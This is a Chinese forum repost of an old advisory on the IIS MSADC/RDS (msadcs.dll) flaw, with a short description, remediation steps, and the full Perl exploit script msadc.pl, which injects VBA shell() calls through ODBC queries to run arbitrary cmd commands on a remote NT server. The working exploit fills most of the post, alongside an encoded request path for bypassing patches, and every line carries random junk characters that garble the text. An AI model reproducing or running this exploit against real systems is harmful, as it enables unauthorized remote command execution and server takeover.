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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Adyv>T9  
3B+ F'k&#  
涉及程序: qjc8$#zXS  
Microsoft NT server /d/Quro  
4R8W ot  
描述: ?:8wDV  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "M`ehgCBr  
c <T'_93  
详细: VlLc[eVV  
如果你没有时间读详细内容的话,就删除: !"dn!X  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9[L@*7A`m  
有关的安全问题就没有了。 ?M02|8-  
UN,y /V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 fxR}a,a  
@1p ,  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ,vN0Jpf}\8  
关于利用ODBC远程漏洞的描述,请参看: \q |n0>  
@qGg=)T  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vWM'}(  
[+j39d.Q  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 pbM"tr_A{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp P0/B!8x  
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这里不再论述。 9F*],#ng  
.JJ^w!|>#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: NbDfD3 1GK  
G0u3*.  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset s</llJ$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! -_>g=a@&  
!edgziuO  
DJm/:td  
#将下面这段保存为txt文件,然后: "perl -x 文件名" t G{?  
x: Nd>Fb  
#!perl UdSu:V|  
# C}~/(;1V=  
# MSADC/RDS 'usage' (aka exploit) script |B0.*te6  
# e>oE{_e  
# by rain.forest.puppy lQ}e"#<  
# [H3~b=  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me j5cc"s  
# beta test and find errors! 1f.xZgO/2  
^edg@fp  
use Socket; use Getopt::Std; BhMHT :m  
getopts("e:vd:h:XR", \%args); 4]\t6,Cz8  
9hG+?   
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; B-OuBS,fwC  
T21SuM  
if (!defined $args{h} && !defined $args{R}) { r7I,%}k  
print qq~ M~G1ZB  
Usage: msadc.pl -h <host> { -d <delay> -X -v } kZlRS^6  
-h <host> = host you want to scan (ip or domain) P'nbyF  
-d <seconds> = delay between calls, default 1 second 9t$%Tc#Z  
-X = dump Index Server path table, if available =&- hU|ur  
-v = verbose Q)l]TgvSe  
-e = external dictionary file for step 5 ^z[-pTY  
(5"BKu1t  
Or a -R will resume a command session &<u pjb  
$j~oB:3n7  
~; exit;} _n3Jf<Y  
AlQ!Q)y<@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; I:~L!%  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} z"eh.&T  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} J6!t"eB+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;,z^!bD  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} g>[|/z P  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } W biUz2)  
UeRx ^  
if (!defined $args{R}){ $ret = &has_msadc; =](c7HEQf  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [xXml On!  
6g ,U+~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $Xlyc.8YId  
. "cmd /c "; r|Y|u v0  
$in=<STDIN>; chomp $in; /WDz;,X  
$command="cmd /c " . $in ; AJ;Y Nb  
Y[Gw<1F_  
if (defined $args{R}) {&load; exit;} k?.HW?=zy  
lA4Bq  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; NLJD}{8Ot  
&try_btcustmr; Kis\Rg  
u1 uu_*  
print "\nStep 2: Trying to make our own DSN..."; cLQvzd:h=  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Ne]/ sQ0  
; y#6Nx,:  
print "\nStep 3: Trying known DSNs..."; -=E/_c;  
&known_dsn; yG0Wr=/<?  
mI=^7 'Mk  
print "\nStep 4: Trying known .mdbs..."; Zq|oj^  
&known_mdb; yaf&SR@7k{  
u.gh04{5  
if (defined $args{e}){ *JG?^G"l  
print "\nStep 5: Trying dictionary of DSN names..."; %*.;3;m  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^g,[#Rh  
(8s]2\/Ar  
print "Sorry Charley...maybe next time?\n"; r\Wp\LfY&{  
exit; I`44}oJ  
XM/P2=;  
############################################################################## +a&-'`7g  
;G.m;5A  
sub sendraw { # ripped and modded from whisker g<s[6yA  
sleep($delay); # it's a DoS on the server! At least on mine... fB5Bh;K  
my ($pstr)=@_; ay2 m!s Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Rg&6J#h  
die("Socket problems\n"); p[e|N;W8A  
if(connect(S,pack "SnA4x8",2,80,$target)){ +w/Ax[K  
select(S); $|=1;  "7!K'i  
print $pstr; my @in=<S>; |}*k|  
select(STDOUT); close(S); jlER_I]  
return @in; :^SpKe(7  
} else { die("Can't connect...\n"); }} ->}K-n ),  
DYH-5yX7  
############################################################################## Z*kGWL  
'uUp1+  
sub make_header { # make the HTTP request v@k62@;  
my $msadc=<<EOT $ 8w eh3p  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 =JyYU*G4  
User-Agent: ACTIVEDATA )2oWoZ vi9  
Host: $ip FTt7o'U  
Content-Length: $clen DR9M8E  
Connection: Keep-Alive =&,zWNz)  
=~Jv*c  
ADCClientVersion:01.06 q*A2>0O  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 \%NhggS*  
@+}Q<  
--!ADM!ROX!YOUR!WORLD! 4j!MjlG$  
Content-Type: application/x-varg ?9i7+Y"  
Content-Length: $reqlen (0W%Y Z!&  
,"PwNv  
EOT  zUqiz  
; $msadc=~s/\n/\r\n/g; )dLESk  
return $msadc;} _]tR1T5e  
.jr1<LE  
############################################################################## >qx~m>2|8]  
g\ @nA4  
sub make_req { # make the RDS request kTex>1W;  
my ($switch, $p1, $p2)=@_; *6Rl[eXS  
my $req=""; my $t1, $t2, $query, $dsn; 3h"; 2  
O6;>]/`  
if ($switch==1){ # this is the btcustmr.mdb query m7kDxs(KO  
$query="Select * from Customers where City=" . make_shell(); $BE^'5G&4Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  ~u8}s4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ^lu)'z%6  
AnPm5i.  
elsif ($switch==2){ # this is general make table query -p ) l63  
$query="create table AZZ (B int, C varchar(10))"; O6OP{sb  
$dsn="$p1";} yQhrPw> m  
|1 is!leP  
elsif ($switch==3){ # this is general exploit table query -baGr;,Cu  
$query="select * from AZZ where C=" . make_shell(); ,-c(D-&  
$dsn="$p1";} ;0xCrE{l"  
SBjtg@:G0n  
elsif ($switch==4){ # attempt to hork file info from index server _89 _*t(  
$query="select path from scope()"; $7)O&T*q'  
$dsn="Provider=MSIDXS;";} `+B+RQl}[  
9;Wz;p  
elsif ($switch==5){ # bad query |i?AtOt@f  
$query="select"; p`1d'n[  
$dsn="$p1";} X >%2\S  
{L$b$u$7:  
$t1= make_unicode($query); FTCp3g  
$t2= make_unicode($dsn); -ihF)^"a  
$req = "\x02\x00\x03\x00"; Lj(hk @  
$req.= "\x08\x00" . pack ("S1", length($t1)); )dF(5,y)  
$req.= "\x00\x00" . $t1 ; uh#PZ xnP  
$req.= "\x08\x00" . pack ("S1", length($t2)); P>pkLP} Vo  
$req.= "\x00\x00" . $t2 ; NfR,m ]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8+gx?pb  
return $req;} 'xStA  
=]xNpX)  
############################################################################## .1I];Cy0D  
:`3b|u=KZ  
sub make_shell { # this makes the shell() statement }jiqUBn%  
return "'|shell(\"$command\")|'";} 9z'</tJ`  
UUb!2sO  
############################################################################## Z mi<Z  
{yt]7^  
sub make_unicode { # quick little function to convert to unicode W %R h2l  
my ($in)=@_; my $out; r-N2*uYtu  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } f,M$>!$V  
return $out;} (P`{0^O"}  
8ZG'?A+{  
############################################################################## .2xypL8(  
tsfOPth$*  
sub rdo_success { # checks for RDO return success (this is kludge) m3_e]v3{o  
my (@in) = @_; my $base=content_start(@in); P603P  
if($in[$base]=~/multipart\/mixed/){ FbFUZ^Zj  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} :1Fm~'  
return 0;} B"KsYB79t  
*$# r%  
############################################################################## U"m!f*a  
kP;:s  
sub make_dsn { # this makes a DSN for us 7=QV^G  
my @drives=("c","d","e","f"); D4'XBXmb  
print "\nMaking DSN: "; Mh+'f 93  
foreach $drive (@drives) { >j`*-(`2fa  
print "$drive: "; 0^ E!P>  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :WA o{|&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" {tR=D_5  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "mPa >`?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Go`omh b  
return 0 if $2 eq "404"; # not found/doesn't exist z(\H.P#  
if($2 eq "200") { oSa FmP  
foreach $line (@results) { t_]UseP$RF  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} CdaB.xk  
} return 0;} >D:S)"  
(sqS(xIY  
############################################################################## ljt1:@SN(  
d}l^yln  
sub verify_exists { cC}s5`  
my ($page)=@_; VpV w:Rh>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); huKz["]z[  
return $results[0];} hLm9"N'Pf  
B.P64"w  
############################################################################## 6J|f^W-fs  
mu{%%b7|^  
sub try_btcustmr { =JVRm 2#*  
my @drives=("c","d","e","f"); IB!Wrnj?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (ZEVbAY?i  
t&P5Zw*B  
foreach $dir (@dirs) { +:'Po.{"  
print "$dir -> "; # fun status so you can see progress [qZ4+xF,,  
foreach $drive (@drives) { HqF8:z?v  
print "$drive: "; # ditto vQ_B2#U:  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J$EEpL  
$reqlenlen=length( "$reqlen" ); oTa! F;I  
$clen= 206 + $reqlenlen + $reqlen;  gA[M  
4l$8lYi  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _r8AO>  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \clWrK  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} so8-e  
rk. UW  
############################################################################## \FKIEg+(2  
= oh6;Ojt  
sub odbc_error { XdS<51 C  
my (@in)=@_; my $base; $1dI  
my $base = content_start(@in); |Q I3H]T7  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this X4k/7EA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F_r eBPx  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i@I%$!cB  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ix#  
return $in[$base+4].$in[$base+5].$in[$base+6];} D$mrnm4d  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; l:|Fs=\  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . H~~(v52wD  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} A&M/W'$s  
>u/yp[Ky  
############################################################################## (w^&NU'e  
;< ][upn  
sub verbose { dY|jV}%T  
my ($in)=@_; F"F(s!  
return if !$verbose; /Z@.;M  
print STDOUT "\n$in\n";} <Q kfvK]Q  
cq=R  
############################################################################## }>1E,3A:%G  
eS.]@ E-T  
sub save { Qdn:4yk  
my ($p1, $p2, $p3, $p4)=@_; -qEr-[z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; W ,U'hk%  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; nx +& {hn(  
close OUT;} W1!eY,1}  
6,h<0j{  
############################################################################## jF5JpyOc  
y@Or2bO#  
sub load { 'q-h kN  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .F6#s  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8&;dR  
@p=<IN>; close(IN); lz*2wGI9  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); jFc{$#g-  
$target= inet_aton($ip) || die("inet_aton problems"); <|_Ey)1 6  
print "Resuming to $ip ..."; JQ1VCG  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ?yU#'`q  
if($p[1]==1) { zc{C+:3$^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "D/ fB%h`  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 8`~]9ej  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4HHf3j!5  
if (rdo_success(@results)){print "Success!\n";} z7_./ksQ  
else { print "failed\n"; verbose(odbc_error(@results));}} jl@8pO$  
elsif ($p[1]==3){ <>:kAT,sP  
if(run_query("$p[3]")){ z[rB/ |2  
print "Success!\n";} else { print "failed\n"; }} o99 a=x6  
elsif ($p[1]==4){ *o#`lH  
if(run_query($drvst . "$p[3]")){ 51,m^veO  
print "Success!\n"; } else { print "failed\n"; }} Ii8jY_  
exit;} P}I*SV0  
*,pqpD>  
############################################################################## h`Mf;'P  
CMr`n8M  
sub create_table { B::?  
my ($in)=@_; {HU48v"W  
$reqlen=length( make_req(2,$in,"") ) - 28; Cnr48ukq  
$reqlenlen=length( "$reqlen" ); TGLXvP& \  
$clen= 206 + $reqlenlen + $reqlen; `otQ'e~+t  
my @results=sendraw(make_header() . make_req(2,$in,"")); *k}d@j,*"  
return 1 if rdo_success(@results); ~h/U ;Da  
my $temp= odbc_error(@results); verbose($temp); FN R& :  
return 1 if $temp=~/Table 'AZZ' already exists/; gkdjH8(2  
return 0;} 3YRzBf:h  
r__M1 !3  
############################################################################## 21[F%,{.),  
IW#(ICeb  
sub known_dsn { #n"/9%35f`  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Pla EI p  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 88K*d8m  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", S!]}}fKEFm  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); (`p(c;"*C!  
/$=^0v +  
foreach $dSn (@dsns) { uprQy<I@  
print "."; U&XoT-p$L  
next if (!is_access("DSN=$dSn")); ]VME`]t`  
if(create_table("DSN=$dSn")){ `jHGNi  
print "$dSn successful\n"; fjFy$NX&>  
if(run_query("DSN=$dSn")){ =jN]ckn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { WToAT;d2h  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ]*|K8&jxl  
;'p'8lts  
############################################################################## h]#)41y<  
* y B-N;I  
sub is_access { O2e "TH3  
my ($in)=@_; y)}aySQK^  
$reqlen=length( make_req(5,$in,"") ) - 28; _biJch  
$reqlenlen=length( "$reqlen" ); D/WS  
$clen= 206 + $reqlenlen + $reqlen; LcXMOT)s  
my @results=sendraw(make_header() . make_req(5,$in,"")); 'w2;oO  
my $temp= odbc_error(@results); &}cie"\L  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?zEF?LJoK  
return 0;} (AYD @  
4=Ey\Px  
############################################################################## dq(x@&J  
H.L@]~AyL  
sub run_query { +*V; f,  
my ($in)=@_; 7yp*I[1Qf>  
$reqlen=length( make_req(3,$in,"") ) - 28; :dzU]pk%0  
$reqlenlen=length( "$reqlen" ); +0 MKh  
$clen= 206 + $reqlenlen + $reqlen; Sx2j~(pOr  
my @results=sendraw(make_header() . make_req(3,$in,"")); hqPn~Tq  
return 1 if rdo_success(@results); q*O KA5  
my $temp= odbc_error(@results); verbose($temp); YYHm0pc  
return 0;} .IXwa,  
y#+o*(=fRE  
############################################################################## ?la_ +;m  
* 5n:+Tw(  
sub known_mdb { J%)2,szn0  
my @drives=("c","d","e","f","g"); w%;'uN_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .D .Rn/  
my $dir, $drive, $mdb; l 5FQ!>IM  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; umzYJ>2t  
SOmn2 }   
# this is sparse, because I don't know of many [/G;XHL;?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", R5"p7>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ~|rkt`8p  
"\\system32\\certmdb.mdb", 5WT\0]RUa  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% nlW&(cH  
u*{ _WL[(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", .a*$WGb  
"\\cfusion\\cfapps\\forums\\forums_.mdb", I8?[@kg5b'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", @nu/0+8h{  
"\\cfusion\\cfapps\\security\\realm_.mdb", YkX=n{^  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zwtsw[.  
"\\cfusion\\database\\cfexamples.mdb", p/h&_^EXU  
"\\cfusion\\database\\cfsnippets.mdb", ~-d.3A $u  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", iC-ABOOu{l  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 4:$>,D\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #=(op?]  
"\\cfusion\\database\\smpolicy.mdb", Ef.4.iDJrR  
"\\cfusion\\database\cypress.mdb", fXe-U='  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ak `)>  
"\\website\\cgi-win\\dbsample.mdb", gf?^yP ;V  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", wVDB?gy%#  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" : qRT9n$  
); #these are just P~e$iBH'  
foreach $drive (@drives) { dU6LB+A  
foreach $dir (@dirs){ I0K!Kcu5Iu  
foreach $mdb (@sysmdbs) { 09Y?!,  
print "."; |@.<} /  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ de9l;zF  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; RWFf-VA?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G:`Jrh  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; D}sGBsOW  
} else { print "Something's borked. Use verbose next time\n"; }}}}} zF&UdS3  
2< Bv=B  
foreach $drive (@drives) { @88i/ Z_  
foreach $mdb (@mdbs) { Ky#B'Bh}`g  
print "."; t [hocl/6  
if(create_table($drv . $drive . $dir . $mdb)){ on?/tHys  
print "\n" . $drive . $dir . $mdb . " successful\n"; +E|ouFI  
if(run_query($drv . $drive . $dir . $mdb)){ 9^ p{/Io  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |+-i'N9  
} else { print "Something's borked. Use verbose next time\n"; }}}} RWCS u$  
} &pjV4m|j<  
~+C?][T  
############################################################################## 8"mW!M  
D^55:\4(  
sub hork_idx { W"(`n4hi3  
print "\nAttempting to dump Index Server tables...\n"; pm~;:#z7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; N+qLxk  
$reqlen=length( make_req(4,"","") ) - 28; "H<#91^|  
$reqlenlen=length( "$reqlen" ); yB%)D0  
$clen= 206 + $reqlenlen + $reqlen; p"IS"k%  
my @results=sendraw2(make_header() . make_req(4,"","")); D|j \ nQ  
if (rdo_success(@results)){ 8Ql'(5|T  
my $max=@results; my $c; my %d; bs EpET  
for($c=19; $c<$max; $c++){ W'h0Zg  
$results[$c]=~s/\x00//g; S.|kg2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; AYIz;BmWy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <[:7#Yo g  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 2 pa3}6P+  
$d{"$1$2"}="";} d`uO7jlm  
foreach $c (keys %d){ print "$c\n"; } v9m;vWp  
} else {print "Index server doesn't seem to be installed.\n"; }} +\GZ(!~  
lk1Gs{(qhH  
############################################################################## @B[Cc`IN"  
l/zC##1+.  
sub dsn_dict { P<!$A  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); QhQ"OVFr#  
while(<IN>){ 8`2<g0V2  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ,G|aLBn  
next if (!is_access("DSN=$dSn")); 5;8B!%b  
if(create_table("DSN=$dSn")){ X|E+K  
print "$dSn successful\n"; rw[{@|)'z  
if(run_query("DSN=$dSn")){ A]Tcj^#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,GkW. vEU  
print "Something's borked. Use verbose next time\n";}}} An #Hb=  
print "\n"; close(IN);} s%[GQQ-N  
UXPegK!  
############################################################################## Wk#h,p3  
E8_Le  
sub sendraw2 { # ripped and modded from whisker R{uJczu  
sleep($delay); # it's a DoS on the server! At least on mine... t tFY _F~S  
my ($pstr)=@_; aq+IC@O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E\~ KVn  
die("Socket problems\n"); ITIj=!F*  
if(connect(S,pack "SnA4x8",2,80,$target)){ %M#?cmt  
print "Connected. Getting data"; C]yQ "b  
open(OUT,">raw.out"); my @in; h^+C)6(58n  
select(S); $|=1; print $pstr; k\sM;bCv7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Nv?-*&L  
close(OUT); select(STDOUT); close(S); return @in; .um&6Q=2<  
} else { die("Can't connect...\n"); }} ^qGA!_  
X";Z Up  
############################################################################## E<Dh_K  
6QLQ1k`  
sub content_start { # this will take in the server headers 1i/::4=  
my (@in)=@_; my $c; nt0\q'&  
for ($c=1;$c<500;$c++) { )R8%'X;U  
if($in[$c] =~/^\x0d\x0a/){ #3K,V8(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } !\-4gr?`!  
else { return $c+1; }}} KU|BT .o8  
return -1;} # it should never get here actually 0vuKGjK  
r}0C8(oq  
############################################################################## AR~$MCR]"k  
=v4r M0m,  
sub funky { >$naTSJq  
my (@in)=@_; my $error=odbc_error(@in); 4[#6<Ixf  
if($error=~/ADO could not find the specified provider/){ \} Acq;  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; / $9 :L  
exit;} ^+%tlX_+.  
if($error=~/A Handler is required/){ f-3'D-{EKt  
print "\nServer has custom handler filters (they most likely are patched)\n"; Cb{A:\>Q{  
exit;} S6T!qH{6  
if($error=~/specified Handler has denied Access/){ :Wg-@d  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8VuZ,!WH#  
exit;}} l{6` k<J(  
=,4 '"  
############################################################################## K6v $#{$6  
$xA J9_2P  
sub has_msadc { ~llMrl7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~|'y+h89  
my $base=content_start(@results); w3<"g&n|  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~mK-8U4>K,  
return 0;} +~ 3w5.8  
NSS4v tA  
######################## Du^x=;  
s[3![ "^Y  
3WCqKXJ7  
解决方案: jF2[bzY4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hqs$yb  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ,@Fgr(?'`>  
_{e&@ d  
拿出来充数 哈哈
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